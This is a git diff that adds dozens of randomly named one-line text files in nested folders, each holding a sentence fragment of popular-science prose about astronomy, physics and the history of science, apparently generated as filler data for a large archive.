diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_alyqowzonaaryifzybbpcuo.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_alyqowzonaaryifzybbpcuo.txt
new file mode 100644
index 0000000..f3d3b62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_alyqowzonaaryifzybbpcuo.txt
@@ -0,0 +1 @@
+to foreign technicians,’ chiefly the Jesuits, who had introduced Euclid and Copernicus to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_bgxlxlncelrilafzacf.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_bgxlxlncelrilafzacf.txt
new file mode 100644
index 0000000..f3d3b62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_bgxlxlncelrilafzacf.txt
@@ -0,0 +1 @@
+to foreign technicians,’ chiefly the Jesuits, who had introduced Euclid and Copernicus to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_dterivblltgdpbcvsddvbqn.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_dterivblltgdpbcvsddvbqn.txt
new file mode 100644
index 0000000..f3d3b62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_dterivblltgdpbcvsddvbqn.txt
@@ -0,0 +1 @@
+to foreign technicians,’ chiefly the Jesuits, who had introduced Euclid and Copernicus to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_fbmmqfjete.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_fbmmqfjete.txt
new file mode 100644
index 0000000..f3d3b62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_fbmmqfjete.txt
@@ -0,0 +1 @@
+to foreign technicians,’ chiefly the Jesuits, who had introduced Euclid and Copernicus to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_fskejhnpoucmbksrwbbmrkri.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_fskejhnpoucmbksrwbbmrkri.txt
new file mode 100644
index 0000000..f3d3b62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_fskejhnpoucmbksrwbbmrkri.txt
@@ -0,0 +1 @@
+to foreign technicians,’ chiefly the Jesuits, who had introduced Euclid and Copernicus to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_givdpjvhfjmvkgftbxvf.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_givdpjvhfjmvkgftbxvf.txt
new file mode 100644
index 0000000..f3d3b62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_givdpjvhfjmvkgftbxvf.txt
@@ -0,0 +1 @@
+to foreign technicians,’ chiefly the Jesuits, who had introduced Euclid and Copernicus to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_goefdoqqwfgfxrryo.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_goefdoqqwfgfxrryo.txt
new file mode 100644
index 0000000..f3d3b62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_goefdoqqwfgfxrryo.txt
@@ -0,0 +1 @@
+to foreign technicians,’ chiefly the Jesuits, who had introduced Euclid and Copernicus to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_inhyevrdcgzhecrkgc.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_inhyevrdcgzhecrkgc.txt
new file mode 100644
index 0000000..f3d3b62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_inhyevrdcgzhecrkgc.txt
@@ -0,0 +1 @@
+to foreign technicians,’ chiefly the Jesuits, who had introduced Euclid and Copernicus to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_mxbmntnuh.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_mxbmntnuh.txt
new file mode 100644
index 0000000..f3d3b62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_mxbmntnuh.txt
@@ -0,0 +1 @@
+to foreign technicians,’ chiefly the Jesuits, who had introduced Euclid and Copernicus to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_ukmjkgcktpsuz.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_ukmjkgcktpsuz.txt
new file mode 100644
index 0000000..f3d3b62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_ukmjkgcktpsuz.txt
@@ -0,0 +1 @@
+to foreign technicians,’ chiefly the Jesuits, who had introduced Euclid and Copernicus to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_vqpclarhdqdxujirf.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_vqpclarhdqdxujirf.txt
new file mode 100644
index 0000000..f3d3b62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_vqpclarhdqdxujirf.txt
@@ -0,0 +1 @@
+to foreign technicians,’ chiefly the Jesuits, who had introduced Euclid and Copernicus to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_vqsjjtgduqijruquwo.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_vqsjjtgduqijruquwo.txt
new file mode 100644
index 0000000..f3d3b62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/file_vqsjjtgduqijruquwo.txt
@@ -0,0 +1 @@
+to foreign technicians,’ chiefly the Jesuits, who had introduced Euclid and Copernicus to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/admweyeqrhncgrxedkmpt.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/admweyeqrhncgrxedkmpt.txt
new file mode 100644
index 0000000..d371a0f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/admweyeqrhncgrxedkmpt.txt
@@ -0,0 +1 @@
+You could not tell you were on a light wave if you traveled with it. If you started on a wave
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/cxmhiodojnnylrtak.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/cxmhiodojnnylrtak.txt
new file mode 100644
index 0000000..b537fb3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/cxmhiodojnnylrtak.txt
@@ -0,0 +1 @@
+With a continuous 1 g acceleration, after one year in space we would be traveling very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/datizbmpmafgpjmbhnwg.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/datizbmpmafgpjmbhnwg.txt
new file mode 100644
index 0000000..53476ea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/datizbmpmafgpjmbhnwg.txt
@@ -0,0 +1 @@
+separate creation of each atomic species. But the universe, all of it, almost everywhere, is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_akbjtsfyczgcrreaaxuz.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_akbjtsfyczgcrreaaxuz.txt
new file mode 100644
index 0000000..95f501f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_akbjtsfyczgcrreaaxuz.txt
@@ -0,0 +1 @@
+today’s supersonic transports. But if we do not destroy ourselves, I believe that we will one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_bmmkznxxmjerhf.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_bmmkznxxmjerhf.txt
new file mode 100644
index 0000000..95f501f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_bmmkznxxmjerhf.txt
@@ -0,0 +1 @@
+today’s supersonic transports. But if we do not destroy ourselves, I believe that we will one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_czldrtexli.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_czldrtexli.txt
new file mode 100644
index 0000000..95f501f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_czldrtexli.txt
@@ -0,0 +1 @@
+today’s supersonic transports. But if we do not destroy ourselves, I believe that we will one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_emwkyoabtovrnnux.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_emwkyoabtovrnnux.txt
new file mode 100644
index 0000000..95f501f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_emwkyoabtovrnnux.txt
@@ -0,0 +1 @@
+today’s supersonic transports. But if we do not destroy ourselves, I believe that we will one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_hldtaivkndlonromqe.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_hldtaivkndlonromqe.txt
new file mode 100644
index 0000000..95f501f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_hldtaivkndlonromqe.txt
@@ -0,0 +1 @@
+today’s supersonic transports. But if we do not destroy ourselves, I believe that we will one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_htdpggagi.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_htdpggagi.txt
new file mode 100644
index 0000000..95f501f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_htdpggagi.txt
@@ -0,0 +1 @@
+today’s supersonic transports. But if we do not destroy ourselves, I believe that we will one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_ioeqlwbkgmn.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_ioeqlwbkgmn.txt
new file mode 100644
index 0000000..95f501f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_ioeqlwbkgmn.txt
@@ -0,0 +1 @@
+today’s supersonic transports. But if we do not destroy ourselves, I believe that we will one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_kqcxaofifhbdtgeyg.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_kqcxaofifhbdtgeyg.txt
new file mode 100644
index 0000000..95f501f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_kqcxaofifhbdtgeyg.txt
@@ -0,0 +1 @@
+today’s supersonic transports. But if we do not destroy ourselves, I believe that we will one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_kwmljvxbeeegukqmuazgan.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_kwmljvxbeeegukqmuazgan.txt
new file mode 100644
index 0000000..95f501f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_kwmljvxbeeegukqmuazgan.txt
@@ -0,0 +1 @@
+today’s supersonic transports. But if we do not destroy ourselves, I believe that we will one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_lbnnkvvjoiwlnxowpp.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_lbnnkvvjoiwlnxowpp.txt
new file mode 100644
index 0000000..95f501f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_lbnnkvvjoiwlnxowpp.txt
@@ -0,0 +1 @@
+today’s supersonic transports. But if we do not destroy ourselves, I believe that we will one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_mkxfsvagse.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_mkxfsvagse.txt
new file mode 100644
index 0000000..95f501f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_mkxfsvagse.txt
@@ -0,0 +1 @@
+today’s supersonic transports. But if we do not destroy ourselves, I believe that we will one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_ndzrkkfzastqyvrbs.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_ndzrkkfzastqyvrbs.txt
new file mode 100644
index 0000000..95f501f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_ndzrkkfzastqyvrbs.txt
@@ -0,0 +1 @@
+today’s supersonic transports. But if we do not destroy ourselves, I believe that we will one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_ntpmoqlbtuocmoazdel.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_ntpmoqlbtuocmoazdel.txt
new file mode 100644
index 0000000..95f501f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_ntpmoqlbtuocmoazdel.txt
@@ -0,0 +1 @@
+today’s supersonic transports. But if we do not destroy ourselves, I believe that we will one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_suxhvqqivcfnsyevmixeqxg.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_suxhvqqivcfnsyevmixeqxg.txt
new file mode 100644
index 0000000..95f501f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_suxhvqqivcfnsyevmixeqxg.txt
@@ -0,0 +1 @@
+today’s supersonic transports. But if we do not destroy ourselves, I believe that we will one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_ugesufihr.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_ugesufihr.txt
new file mode 100644
index 0000000..95f501f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_ugesufihr.txt
@@ -0,0 +1 @@
+today’s supersonic transports. But if we do not destroy ourselves, I believe that we will one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_wgbwvaeuiglcvr.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_wgbwvaeuiglcvr.txt
new file mode 100644
index 0000000..95f501f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/file_wgbwvaeuiglcvr.txt
@@ -0,0 +1 @@
+today’s supersonic transports. But if we do not destroy ourselves, I believe that we will one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/fjeycyappuyx.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/fjeycyappuyx.txt
new file mode 100644
index 0000000..f06d037
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/fjeycyappuyx.txt
@@ -0,0 +1 @@
+against being dead wrong. And among those great men was a great woman, Hypatia,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/fnhnlcgc.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/fnhnlcgc.txt
new file mode 100644
index 0000000..f152a13
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/fnhnlcgc.txt
@@ -0,0 +1 @@
+so that it was possible to look at it with the naked eye. Behind the flames trailed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/frxgvlnr.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/frxgvlnr.txt
new file mode 100644
index 0000000..6c38951
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/frxgvlnr.txt
@@ -0,0 +1 @@
+into a little energy - perhaps a contribution to a single low-frequency note in the music of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/ionfwmzmjxjwuvcqwiexy.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/ionfwmzmjxjwuvcqwiexy.txt
new file mode 100644
index 0000000..2a8f5f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/ionfwmzmjxjwuvcqwiexy.txt
@@ -0,0 +1 @@
+required to get energy out of food, I would probably starve. But even bacteria do anaerobic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/kfmcradbalmcstz.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/kfmcradbalmcstz.txt
new file mode 100644
index 0000000..57e916f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/kfmcradbalmcstz.txt
@@ -0,0 +1 @@
+Brahe. Newton’s laws were theoretical, rather simple mathematical abstractions from whichall of Tycho’s measurements could ultimately be derived. From these laws, Newton wrote
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/npyifvwgrpr.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/npyifvwgrpr.txt
new file mode 100644
index 0000000..ff08acc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/npyifvwgrpr.txt
@@ -0,0 +1 @@
+Nature, as basic as gravity. And there are no phenomena in our experience - like the crack
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/sopvcqdtyvuii.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/sopvcqdtyvuii.txt
new file mode 100644
index 0000000..99ac8ea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/sopvcqdtyvuii.txt
@@ -0,0 +1 @@
+must have experienced increasingly greater difficulties. The distance over which they could
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/ttgmatjpere.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/ttgmatjpere.txt
new file mode 100644
index 0000000..adbcc09
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/ttgmatjpere.txt
@@ -0,0 +1 @@
+the resources, quality, attention and care given to military production is in striking contrast
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/uoaitsswekc.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/uoaitsswekc.txt
new file mode 100644
index 0000000..3a4a03b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/uoaitsswekc.txt
@@ -0,0 +1 @@
+apple pie from scratch, you must first invent the universe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/uxrdcsyaibizdpkfc.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/uxrdcsyaibizdpkfc.txt
new file mode 100644
index 0000000..2655dae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/uxrdcsyaibizdpkfc.txt
@@ -0,0 +1 @@
+fossil fuels. We burn wood and oil, coal and natural gas, and, in the process, release waste
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/wrhjkddfuizokrbiv.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/wrhjkddfuizokrbiv.txt
new file mode 100644
index 0000000..e788b87
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/wrhjkddfuizokrbiv.txt
@@ -0,0 +1 @@
+plenty of time for good new ideas to be incorporated into the mission plan. A billion people
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/xpwedqtqjg.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/xpwedqtqjg.txt
new file mode 100644
index 0000000..41babd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/xpwedqtqjg.txt
@@ -0,0 +1 @@
+spacecraft to the planets, when we observe double stars, when we examine the motion of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/xuqrajntdfyzq.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/xuqrajntdfyzq.txt
new file mode 100644
index 0000000..a4d916b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/xuqrajntdfyzq.txt
@@ -0,0 +1 @@
+positions in its orbit, Proxima is the closest known star to the Sun - hence its name. Most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/yihnmljrpi.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/yihnmljrpi.txt
new file mode 100644
index 0000000..dd8e322
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/yihnmljrpi.txt
@@ -0,0 +1 @@
+cometary tail always points away from the sun. David Hume, in many cases an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/yveuipmhgecxd.txt b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/yveuipmhgecxd.txt
new file mode 100644
index 0000000..94caba1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bbgetrgzkq/folder_tbkwyfqezt/folder_ziwjisadez/folder_tqqysgbfvf/yveuipmhgecxd.txt
@@ -0,0 +1 @@
+which it acts and produces manifest effects, is to tell us nothing; but to derive two or
\ No newline at end of file
